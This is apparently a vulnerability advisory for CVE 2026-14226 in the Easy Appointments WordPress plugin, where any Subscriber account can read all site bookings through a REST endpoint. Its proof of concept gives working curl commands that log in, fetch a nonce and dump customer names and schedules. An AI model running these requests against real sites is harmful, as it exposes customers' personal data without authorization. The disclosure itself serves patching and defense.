Easy Appointments < 3.12.28 – Subscriber+ Sensitive Information Disclosure via REST Appointments Listing | CVE 2026-14226

Description

The plugin does not require a sufficient capability on one of its appointment-listing REST endpoints, restricting it only to a capability that every authenticated user holds, allowing users with subscriber-level access to read all bookings on the site, including customer names, schedules, and statuses.

Proof of Concept

Prerequisites: Easy Appointments active with at least one appointment; a Subscriber account.

1. Control: an unauthenticated request is blocked (HTTP 403, the prior unauthenticated issue is fixed):
   curl -s "https://victim.example/wp-json/easy-appointments/v1/appointments?start=2026-06-01&end=2026-07-01&title_field=name&_wpnonce=fake" -w "\nHTTP=%{http_code}\n"

2. Log in as a Subscriber and grab the wp_rest nonce:
   curl -s -c cookies.txt -X POST "https://victim.example/wp-login.php" --data-urlencode "log=subscriber" --data-urlencode "pwd=PASSWORD" --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1" -L -o /dev/null
   NONCE=$(curl -s -b cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce")

3. Exploit: list every appointment on the site:
   curl -s -b cookies.txt -H "X-WP-Nonce: $NONCE" "https://victim.example/wp-json/easy-appointments/v1/appointments?start=2026-06-01&end=2026-07-01&title_field=name&_wpnonce=$NONCE"

Response (HTTP 200) returns every booking with start/end/status/id/hash/title (customer name), regardless of which user owns it. By default no per-user filter is applied, so the full calendar is returned.